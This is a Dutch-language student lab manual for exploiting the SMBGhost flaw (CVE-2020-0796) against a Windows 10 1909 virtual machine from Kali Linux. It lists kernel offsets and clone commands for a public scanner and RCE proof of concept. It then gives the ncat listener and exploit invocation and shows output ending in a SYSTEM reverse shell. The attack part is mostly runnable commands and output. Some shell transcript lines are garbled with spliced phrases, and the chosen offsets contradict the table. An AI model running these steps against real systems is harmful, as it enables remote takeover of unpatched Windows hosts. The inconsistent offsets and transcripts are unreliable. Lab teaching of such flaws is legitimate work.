

# Handleiding NPE

---

## SMBGhost Vulnerability CVE-2020-0796

Doel: Remote Excecution  
Target: Windows 10-1909  
Aanval: Kali Linux

Team:

- Demi De Fré
- Abdul Rehman Shafaquet
- Arthur Neiryndck

### Algemeen

Alle informatie en documentatie is beschikbaar op onze github repo: [Github team](#).

## Deployment stappenplan

### Stap 1: Downloaden ISO & VDI

- Download het .vdi bestand voor de [Kali Linux](#) VM.
- Download het .ISO bestand voor de [Windows 10-1909](#) VM.

### Stap 2: Aanpassen script naar juiste pad

- Open beide scripts.
- Verander in [windows1909.sh](#) de variabele [ISO\\_PATH](#) naar het juiste pad waar de .ISO is opgeslagen op jouw systeem.
- Verander in [kali.sh](#) de variabele [VDI](#) naar het juiste pad waar de vdi is opgeslagen op jouw systeem.

### Stap 3: Vboxmanage aanmaken VM's

- Open een command prompt naar keuze.
- Navigeer naar de map waar de script's zich in bevinden.
- Run het bash script [./kali.sh](#) om de Kali Linux VM aan te maken.
- Run het bash script [./windwos1909.sh](#) om de Windows VM aan te maken.

### Stap 4: Inloggen op de VM's

- Kali inloggegevens (default)
- username: osboxes
- wachtwoord: osboxes.org
- Bij de windows zijn er geen inloggegevens nodig.

## Cheatsheet aanval

### IP-tabel

VM	IP Address
Windows 10-1909	192.168.1.17
Kali Linux VM	192.168.1.20

- Ip adressen kunnen veranderen (best checken)

## Inleiding

Hier vermelden onze gebruikte bronnen:

- [RCE-script](#)
- [Vulnerability Scanner](#)
- [Extra](#) (niet nodig, ter info)

Offsets informatie en uitleg

Voor elke versie van Windows 10 hebben we eerst hun offsets nodig.  
Offsets zijn specifieke geheugenadressen binnen bepaalde DLL's of system modules op een Windows-machine. Deze adressen worden gebruikt door het Python-script [SMBleedingGhost.py](#) om specifieke functies of gegevens in het geheugen te benaderen en te manipuleren, wat nodig is voor het uitvoeren van de exploit.

[calculate\\_target\\_offsets.bat](#) is een script dat die offsets kan berekenen en die gelden voor elke Windows 10 die dezelfde versie runt. Hier zijn enkele offset-waarden: (ter info)

Windows 10 (Version 1909) Builds	V10.0.18363.535				
	V10.0.18363.418	- V10.0.18363.628	V10.0.18363.693	V10.0.18363.752	V10.0.18363.365
srvnet!SrvNetWskConnDispatch	0x2D170	0x2D170	0x2D170	0x2D170	0x2D170
srvnet!imp_loSizeofWorkItem	0x32210	0x32210	0x32210	0x32210	0x32210
srvnet!imp_RtlCopyUnicodeString	0x32288	0x32288	0x32288	0x32288	0x32288
nt!IoSizeofWorkItem	0x12C380	0x12C400	0x6D7A0	0x12C410	0x12C370
nt!MiGetPteAddress	0xBADC8	0xBA9F8	0xF1D28	0xBA968	0BAFA8

Voor onze versie (18363.418) hebben we de volgende nodig :

- 'srvnet!SrvNetWskConnDispatch': 0x2D170,  
=> Deze offset wijst bijvoorbeeld naar een functie in de srvnet module die wordt gebruikt voor het dispatchen van netwerkverbindingen. Het offsetadres, in dit geval 0x2D170, geeft de locatie aan van deze functie in het geheugen
- 'srvnet!imp\_loSizeofWorkItem': 0x32210,
- 'srvnet!imp\_RtlCopyUnicodeString': 0x32288,
- 'nt!IoSizeofWorkItem': 0x12C370,
- 'nt!MiGetPteAddress': 0BAFA8

Deze offsets zijn van cruciaal belang voor het script om de juiste functies en gegevens te vinden en te manipuleren voor het uitvoeren van de exploit.

Stap 1: Git clone op Kali Linux

- Voor de makkelijke werking is het handig om de volgende repo's te clonen.
  - Clone de volgende github repository in de Desktop :
1. `cd Desktop`
  2. `git clone https://github.com/ButrintKomoni/cve-2020-0796` (scanner)
  3. `git clone https://github.com/jamf/CVE-2020-0796-RCE-POC/tree/master` (RCE exploit)

```
(osboxes@osboxes) - [~/Desktop]
└─$ tree
.
├── CVE-2020-0796-RCE-POC
│   ├── README.md
│   ├── SMBleedingGhost.py
│   ├── calc_target_offsets.bat
│   ├── demo.gif
│   ├── smbghost_kshellcode_x64.asm
│   └── tools
│       ├── cdb.exe
│       ├── dbghelp.dll
│       ├── dumpbin.exe
│       └── link.exe
└── - > dit is onze main script voor RCE
```

```
├── msvcrt140.dll
├── symsrv.dll
├── tbbmalloc.dll
├── vcruntime140.dll
├── vcruntime140_1.dll
└── cve-2020-0796
    ├── README.md
    └── cve-2020-0796-scanner.py        -> dit is onze scanner

4 directories, 16 files
```

## Stap 2: Vulnerability check

- We controleren eerst of de target (Windows 10-1909) vulnerable is met een [python scanner script](#).
- Parameter = ip van target

```
(osboxes@osboxes) - [~/Desktop/cve-2020-0796]
└─$ python3 cve-2020-0796-scanner.py 192.168.1.17
Vulnerable
```

## Stap 3: Remote execution uitvoeren

- Open een terminal op de Kali Linux en voer de volgende commando's uit.
- `ncat -lvp <port>` : Dit zal onze toegang zijn naar onze windows (dit kan ncat -lvp 1234 zijn)
- `SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>`  
=> `target_ip` = 192.168.1.17  
=> `reverse_shell_ip` en `reverse_shell_port` = ip address en poort waarop ncat luistert.
- Het commando ziet er dus als volgt uit: `python3 SMBleedingGhost.py 192.168.1.17 192.168.1.20 1234`

## Stap 4: Resultaat

- Na een tijdje zal de ncat terminal waarop er geluisterd wordt, veranderen naar een Windows 10 shell.
- Nu heb je vanop afstand toegang, via een cmd, tot de target en kan je willekeurige code uitvoeren.

```
Command Prompt - python SMBleedingGhost.py 192.168.1.17 192.168.1.20 4444
Leaked internet connection object address: 0xfffffb48f071d7918
.....
Leaked ntoskrnl base address: 0xfffff8000a000000
.....
Leak failed, retrying
.....
Leak failed, retrying
.....
Leak failed, retrying
.....
Leaked internet connection object address: 0xfffffb48f059337d8
.....
Leak failed, retrying
.....
Leak failed, retrying
.....
Leak failed, retrying
.....
Leaked internet connection object address: 0xfffffb48f05d74c98
.....
.....
Leaked PTE base address: 0xfffffb8000000000
Wrote shellcode
.....
Leak failed, retrying
.....
Leaked internet connection object address: 0xfffffb48eff861918
.....
Cleared NX bit for shellcode execution
.....
Leak failed, retrying
.....
Leak failed, retrying
.....
Leak failed, retrying
.....
Leak failed, retrying
.....
Leaked internet connection object address: 0xfffffb48f05b2ca18
Press Enter to disconnect and exit the POC - target will probably crash.
```

```
(osboxes@osboxes)-[~]
$ ncat -lvp 4444
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.17:49727.
Microsoft Windows [Version 10.0.18363.418]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

```
(osboxes@osboxes)-[~]  
$ ncat -lvp 4444  
Ncat: Version 7.94SVN ( https://nmap.org/ncat )  
Ncat: Listening on [::]:4444  
Ncat: Listening on 0.0.0.0:4444  
Ncat: Connection from 192.168.1.17:49727.  
Microsoft Windows [Version 10.0.18363.418]  
(c) 2019 Microsoft Corporation. All rights reserved.  
  
C:\Windows\system32>whoami  
whoami and ncat are installed.  
nt authority\system  
  
C:\Windows\system32>systeminfo | findstr /B /C:"OS Name" /B /C:"OS Version"  
systeminfo | findstr /B /C:"OS Name" /B /C:"OS Version"  
OS Name: Microsoft Windows 10 Home  
OS Version: 10.0.18363 N/A Build 18363  
  
C:\Windows\system32>ver  
ver  
Microsoft Windows [Version 10.0.18363.418]  
  
C:\Windows\system32> ncat will be listening on.
```